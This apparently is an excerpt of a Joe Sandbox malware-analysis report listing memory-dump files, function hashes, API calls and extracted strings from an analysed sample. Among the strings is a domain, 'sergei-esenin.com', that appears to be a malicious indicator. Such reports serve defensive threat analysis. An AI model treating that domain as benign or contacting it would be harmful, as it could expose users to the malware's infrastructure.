Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00B799D0 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9742a19712b452ba36094ad6d915b4314568764d514e6a087a42737dfb9d4d3
Instruction ID: ffca0b4f5daa19ef806faa949c1b5178ca0268bee5c9abf5057d959ee8a583e5
Opcode Fuzzy Hash: f9742a19712b452ba36094ad6d915b4314568764d514e6a087a42737dfb9d4d3
Instruction Fuzzy Hash: 47417C38209300ABD724DE15E990B2BB7F6EB85714F64C8ACF59A97351D331EC01CB62

Function 00B40EEC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41c2d738596efb816e36bcc5f6255490481c5e7bdaa04c5e20039249fef9b46b
Instruction ID: 2a50eae838be9aeee9b2a46a3e4f04820da1eac547df154b24a7380aa6b5caf6
Opcode Fuzzy Hash: 41c2d738596efb816e36bcc5f6255490481c5e7bdaa04c5e20039249fef9b46b
Instruction Fuzzy Hash: 43213CB491021A9FDB15CF94CC90BBEBBB1FF46304F144858E911BB291C735A905DB64

Function 00B42FE0 Relevance: 14.3, APIs: 1, Strings: 8, Instructions: 842
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 00B43378

Strings

HLB6, xrefs: 00B43855
IK, xrefs: 00B43178
YTfT, xrefs: 00B43832
jXl>, xrefs: 00B43847
jxEJ, xrefs: 00B4302B
[Pcl, xrefs: 00B43839
sergei-esenin.com, xrefs: 00B4334C, 00B43B12
AR]J, xrefs: 00B4303F

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID: Uninitialize
String ID: AR]J$HLB6$YTfT$[Pcl$jXl>$jxEJ$sergei-esenin.com$IK
API String ID: 3861434553-4284682720
Opcode ID: 2ad945cd7ffb9f5c337a49a8d061ee2db979f8af8b43f4773f486556edde19cc
Instruction ID: 403037b2cbf392dd2c988252cc98ce7a5465598993a31fd4869b2d38c59999c4
Opcode Fuzzy Hash: 2ad945cd7ffb9f5c337a49a8d061ee2db979f8af8b43f4773f486556edde19cc
Instruction Fuzzy Hash: 4962ADB0100B408BD7229F34D891BA7BBF5EF1A704F48499CE4EB8B252D735B619CB21

Function 00B73220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00B732A6

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E31000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464700079.0000000000E3F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464728430.0000000000E40000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b30000_ea2c7beae0.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 088512da0b338c10342de315cdcd6163f94ba5e802cb0132651c6afe8b91e3d3
Instruction ID: ec8f7236a057ad8b3f235e4f8068000f69f117f6972d6d76bcc38fbaa79c08f2
Opcode Fuzzy Hash: 088512da0b338c10342de315cdcd6163f94ba5e802cb0132651c6afe8b91e3d3
Instruction Fuzzy Hash: 1801693450D340DBC701EF18E885A1ABBE8EF5AB00F05886CE5C98B362D735DD60DBA6

Function 00B42F6F Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00B42F81

Memory Dump Source

Source File: 00000007.00000002.2463264671.0000000000B31000.00000040.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000007.00000002.2463161327.0000000000B30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463380659.0000000000B90000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463432220.0000000000B9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463451761.0000000000B9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463486356.0000000000B9C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463610520.0000000000CF6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463628970.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463650176.0000000000D1D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463714247.0000000000D26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463794569.0000000000D27000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463881741.0000000000D28000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2463938596.0000000000D29000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464023851.0000000000D4F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464069086.0000000000D50000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464121644.0000000000D51000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464157606.0000000000D61000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464180393.0000000000D79000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464199389.0000000000D7D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464217632.0000000000D85000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464235555.0000000000D8B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464287524.0000000000D95000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464333069.0000000000D97000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464354348.0000000000D9E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464375005.0000000000DA2000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464396100.0000000000DAC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464415100.0000000000DAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464434088.0000000000DAE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464453908.0000000000DB6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464472269.0000000000DB7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464491731.0000000000DBF000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464514168.0000000000DCF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464533295.0000000000DD1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464551496.0000000000DD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000DD3000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464570798.0000000000E00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464619669.0000000000E29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464638394.0000000000E2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2464662057.0000000000E2B000.00000080.00000001.01000000.00000009.sdmpDownload File
